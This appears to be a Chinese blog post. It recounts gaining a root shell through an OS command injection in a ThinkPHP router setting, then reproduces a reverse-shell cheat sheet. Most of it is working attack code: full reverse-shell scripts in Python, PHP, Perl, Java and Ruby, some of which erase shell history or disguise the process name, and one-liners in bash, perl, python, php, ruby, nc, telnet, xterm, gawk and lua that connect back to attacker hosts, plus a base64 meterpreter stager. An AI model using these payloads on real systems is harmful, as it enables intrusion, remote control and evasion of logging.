从一次渗透谈到linux如何反弹shell
背景:
ThinkPHP框架的-->
找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处。
一、渗透过程
1、首先看了一下,没有回显。
2、用ceye.io看DNSlog发现不能连接外网。
3、内网ping ok!说明可以的,确实命令执行。
4、弹bash 最常见的监听端nc
1 nc -p 4444 -l -v
二、下面开始弹bash:
1、最常见的bash的
1 bash -i >& /dev/tcp/a.b.c.d/4444 0>&1 2 #没成功,尝试bash -c 执行命令成功了 3 #尝试wget 访问我的flask http服务器OK 4 #尝试编码发现失败
2、追问了某大佬考虑<>及其编码字符被转移,考虑ssh反向连接或者脚本反向连接。
3、开始搞pl脚本,尝试多次失败(后来发现原因:wget从我自己搭建的flaskHTTP服务上面下反向连接脚本的时候保存的文件名不对)
4、搞python的,自己很熟悉。从朋友那里搞了一个python反向连接弹shell的脚本。通过flask和wget传到服务器上。
5、加运行权限 执行 getshell root权限
6、python脚本代码公开:
1 #!/usr/bin/env python 2 # -*- coding:utf-8 -*- 3 """ 4 back connect py version,only linux have pty module 5 code by hero 6 """ 7 import sys,os,socket,pty 8 shell = "/bin/sh" 9 def usage(name): 10 print 'python reverse connector' 11 print 'usage: %s <ip_addr> <port>' % name 12 13 def main(): 14 if len(sys.argv) !=3: 15 usage(sys.argv[0]) 16 sys.exit() 17 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 18 try: 19 s.connect((sys.argv[1],int(sys.argv[2]))) 20 print 'connect ok' 21 except: 22 print 'connect faild' 23 sys.exit() 24 os.dup2(s.fileno(),0) 25 os.dup2(s.fileno(),1) 26 os.dup2(s.fileno(),2) 27 global shell 28 os.unsetenv("HISTFILE") 29 os.unsetenv("HISTFILESIZE") 30 os.unsetenv("HISTSIZE") 31 os.unsetenv("HISTORY") 32 os.unsetenv("HISTSAVE") 33 os.unsetenv("HISTZONE") 34 os.unsetenv("HISTLOG") 35 os.unsetenv("HISTCMD") 36 os.putenv("HISTFILE",'/dev/null') 37 os.putenv("HISTSIZE",'0') 38 os.putenv("HISTFILESIZE",'0') 39 pty.spawn(shell) 40 s.close() 41 42 if __name__ == '__main__': 43 main()
三、从这里开始思考,linux各种反弹shell的做法:
这里先补充一个windows、linux下都可以反弹shell的php脚本
1 <?php 2 error_reporting (E_ERROR); 3 ignore_user_abort(true); 4 ini_set('max_execution_time',0); 5 $os = substr(PHP_OS,0,3); 6 $ipaddr = '174.124.23.5'; 7 $port = '7788'; 8 $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w")); 9 $cwd = getcwd(); 10 $msg = php_uname()."\n------------Code by Spider-------------\n"; 11 if($os == 'WIN') { 12 $env = array('path' => 'c:\\windows\\system32'); 13 } else { 14 $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); 15 } 16 17 if(function_exists('fsockopen')) { 18 $sock = fsockopen($ipaddr,$port); 19 fwrite($sock,$msg); 20 while ($cmd = fread($sock,1024)) { 21 if (substr($cmd,0,3) == 'cd ') { 22 $cwd = trim(substr($cmd,3,-1)); 23 chdir($cwd); 24 $cwd = getcwd(); 25 } 26 if (trim(strtolower($cmd)) == 'exit') { 27 break; 28 } else { 29 $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); 30 if (is_resource($process)) { 31 fwrite($pipes[0],$cmd); 32 fclose($pipes[0]); 33 $msg = stream_get_contents($pipes[1]); 34 fwrite($sock,$msg); 35 fclose($pipes[1]); 36 $msg = stream_get_contents($pipes[2]); 37 fwrite($sock,$msg); 38 fclose($pipes[2]); 39 proc_close($process); 40 } 41 } 42 } 43 fclose($sock); 44 } else { 45 $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 46 socket_connect($sock,$ipaddr,$port); 47 socket_write($sock,$msg); 48 fwrite($sock,$msg); 49 while ($cmd = socket_read($sock,1024)) { 50 if (substr($cmd,0,3) == 'cd ') { 51 $cwd = trim(substr($cmd,3,-1)); 52 chdir($cwd); 53 $cwd = getcwd(); 54 } 55 if (trim(strtolower($cmd)) == 'exit') { 56 break; 57 } else { 58 $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); 59 if (is_resource($process)) { 60 fwrite($pipes[0],$cmd); 61 fclose($pipes[0]); 62 $msg = stream_get_contents($pipes[1]); 63 socket_write($sock,$msg,strlen($msg)); 64 fclose($pipes[1]); 65 $msg = stream_get_contents($pipes[2]); 66 socket_write($sock,$msg,strlen($msg)); 67 fclose($pipes[2]); 68 proc_close($process); 69 } 70 } 71 } 72 socket_close($sock); 73 } 74 ?>
下文引自:
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考]
0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1这里shell由bash解析,有时候是由sh解析,不一定百发百中
***在虚拟机里面试过可行,替换成自己的地址和端口即可***
***/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用***
***由于其特殊性,命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了***
***注意,这里"&"在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里***
***这里有一个问题:为什么2>&1要写在后面,以command >file 2>&1为例,首先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到file中,最终结果就是标准输出和错误都被重定向到file中***
***其实还有一个问题,既然2>表示错误重定向,那么0>表示什么呢?查阅资料发现在Linux下输入输出重定向有三个值,其中2已经说过是标准错误信息输出,那0则是标准输入,1则为标准输出了。说到这里,其实又引出了一个新的问题,我们知道<才是表示输入的,那为何这里却是如此形式,按说就应该是2了,或者说这里0就已经是输入了,然后直接使用>进行输出,不是很清楚请大牛指点啊***
gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法:###$ nc -l -p 8080 -vvv $ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; done***这条语句证实可行,这里exec命令可以用来替代当前shell;换句话说,并没有启动子shell,使用这一条命令时任何现有环境变量将会被清除,并重新启动一个shell***
***exec的man手册如是说:The exec() family of functions replaces the current process image with a new process image***
***在查exec时发现一个好玩的语句:exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3这个语句的作用,应该一看就明了了,不多说,言归正传,nc监听,使用exec反弹的shell其输出只能在目标机器上看到,有图为证***
另外还可以是:exec /bin/bash 0&0 2>&00<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1***在测试exec /bin/bash 0&0 2>&0语句时,遇到一个问题,终端显示No such file or directory或者干脆找不到命令,怎么让它实现还有待研究***
***研究表明,exec 2>&0即可,不需要/bin/bash,然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地监听反弹成功***
0x02 Perlperl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'***使用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多,Perl还是很强大的***
不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh***
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'系统运行windows时:***突然发现windows上暂时没装Perl,下次测吧***
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'再给出一个完整的Perl的反弹脚本:
1 #!/usr/bin/perl -w 2 # perl-reverse-shell - A Reverse Shell implementation in PERL
3 use strict; 4 use Socket; 5 use FileHandle; 6 use POSIX; 7 my $VERSION = "1.0"; 8 9 # Where to send the reverse shell. Change these. 10 my $ip = '127.0.0.1'; 11 my $port = 1234; 12 13 # Options 14 my $daemon = 1; 15 my $auth = 0; # 0 means authentication is disabled and any 16 # source IP can access the reverse shell 17 my $authorised_client_pattern = qr(^127\.0\.0\.1$); 18 19 # Declarations 20 my $global_page = ""; 21 my $fake_process_name = "/usr/sbin/apache"; 22 23 # Change the process name to be less conspicious 24 $0 = "[httpd]"; 25 26 # Authenticate based on source IP address if required 27 if (defined($ENV{'REMOTE_ADDR'})) { 28 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); 29 30 if ($auth) { 31 unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { 32 cgiprint("ERROR: Your client isn't authorised to view this page"); 33 cgiexit(); 34 } 35 } 36 } elsif ($auth) { 37 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); 38 cgiexit(0); 39 } 40 41 # Background and dissociate from parent process if required 42 if ($daemon) { 43 my $pid = fork(); 44 if ($pid) { 45 cgiexit(0); # parent exits 46 } 47 48 setsid(); 49 chdir('/'); 50 umask(0); 51 } 52 53 # Make TCP connection for reverse shell 54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); 55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { 56 cgiprint("Sent reverse shell to $ip:$port"); 57 cgiprintpage(); 58 } else { 59 cgiprint("Couldn't open reverse shell to $ip:$port: $!"); 60 cgiexit(); 61 } 62 63 # Redirect STDIN, STDOUT and STDERR to the TCP connection 64 open(STDIN, ">&SOCK"); 65 open(STDOUT,">&SOCK"); 66 open(STDERR,">&SOCK"); 67 $ENV{'HISTFILE'} = '/dev/null'; 68 system("w;uname -a;id;pwd"); 69 exec({"/bin/sh"} ($fake_process_name, "-i")); 70 71 # Wrapper around print 72 sub cgiprint { 73 my $line = shift; 74 $line .= "<p>\n"; 75 $global_page .= $line; 76 } 77 78 # Wrapper around exit 79 sub cgiexit { 80 cgiprintpage(); 81 exit 0; # 0 to ensure we don't give a 500 response. 82 } 83 84 # Form HTTP response using all the messages gathered by cgiprint so far 85 sub cgiprintpage { 86 print "Content-Length: " . length($global_page) . "\r 87 Connection: close\r 88 Content-Type: text\/html\r\n\r\n" . $global_page; 89 }
0x03 Python #测试环境为Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'***同样是sh-4.1#,Python真心好***
另外的形式:#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他可行的代码
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"另外Metasploit版的代码:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234 import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))base64解码:
import socket,struct s=socket.socket(2,1) s.connect(('192.168.90.1',1234)) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(4096) while len(d)!=l: d+=s.recv(4096) exec(d,{'s':s})
0x04 PHP #代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]为一个上传的完整php反弹shell脚本 ***php这个也相当简单***
0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'当然还有我们很熟悉的MSF模块里面也是有反弹shell的:
#!/usr/bin/env ruby require 'socket' require 'open3' #Set the Remote Host IP RHOST = "192.168.1.10" #Set the Remote Host Port PORT = "6667" #Tries to connect every 20 sec until it connects. begin sock = TCPSocket.new "#{RHOST}", "#{PORT}" sock.puts "We are connected!" rescue sleep 20 retry end #Runs the commands you type and sends you back the stdout and stderr. begin while line = sock.gets Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | IO.copy_stream(stdout_and_stderr, sock) end end rescue retry end
0x06 NetCat
nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支持-e选项不能使用-e选项时:
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe/bin/sh | nc attackerip 4444rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/安装的NC版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
0x07 Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()msf使用为:use payload/java/shell/reverse_tcp
再见一段长代码:
import java.io.*; import java.net.Socket; import java.util.*; import java.util.regex.*; import java.applet.Applet; public class poc extends Applet{ /** * Author: daniel baier alias duddits * Licens: GPL * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher * Version: 0.1 alpha release */ public String cd(String start, File currentDir) { File fullPath = new File(currentDir.getAbsolutePath()); String sparent = fullPath.getAbsoluteFile().toString(); return sparent + "/" + start; } @SuppressWarnings("unchecked") public void init() { poc rs = new poc(); PrintWriter out; try { Socket clientSocket = new Socket("192.168.5.222",10003); out = new PrintWriter(clientSocket.getOutputStream(), true); out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier"); boolean run = true; String s; BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); String startort = "/"; while (run) { String z1; File f = new File(startort); out.println(f.getAbsolutePath() + "> "); s = br.readLine(); z1 = s; Pattern pcd = Pattern.compile("^cd\\s"); Matcher mcd = pcd.matcher(z1); String[] teile1 = pcd.split(z1); if (s.equals("exit")) { run = false; }else if (s.equals(null) || s.equals("cmd") || s.equals("")) { } else if(mcd.find()){ try { String cds = rs.cd(teile1[1], new File(startort)); startort = cds; } catch (Exception verz) { out.println("Path " + teile1[1] + " not found."); } }else { String z2; z2 = s; Pattern pstring = Pattern.compile("\\s"); String[] plist = pstring.split(z2); try { LinkedList slist = new LinkedList(); for (int i = 0; i < plist.length; i++) { slist.add(plist[i]); } ProcessBuilder builder = new ProcessBuilder(slist); builder.directory(new File(startort)); Process p = builder.start(); Scanner se = new Scanner(p.getInputStream()); if (!se.hasNext()) { Scanner sa = new Scanner(p.getErrorStream()); while (sa.hasNext()) { out.println(sa.nextLine()); } } while (se.hasNext()) { out.println(se.nextLine()); } } catch (Exception err) { out.println(f.getAbsolutePath() + "> Command " + s + " failed!"); out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin."); } } } if(!clientSocket.isConnected()){ run = false; out.flush(); out.close(); } } catch (Exception io) { //System.err.println("Connection refused by peer"); } } }
0x08 Telnet #nc不可用或/dev/tcp不可用时
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe***这里mknod是创建特殊文件-设备文件***
0x09 Xterm
首先开启Xserver: # TCP 6001
Xnest :1 # Note: The command starts with uppercase X授予目标机连回来的权限:
xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab xhost +targetip # Run this INSIDE the spawned xterm on the open X Server如果想让任何人都连上:
xhost + # Run this INSIDE the spawned xterm on the open X Server假设xterm已安装,连回你的Xserver:
xterm -display attackerip:1或者:
$ DISPLAY=attackerip:0 xterm
0x10 gawk
#!/usr/bin/gawk -f BEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } }
0x11 乌云上一个lua实现
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"***lua之前是真没见过,发现机器竟然一时装不上,唉,留着以后玩吧***
msf反弹:use payload/cmd/unix/reverse_lua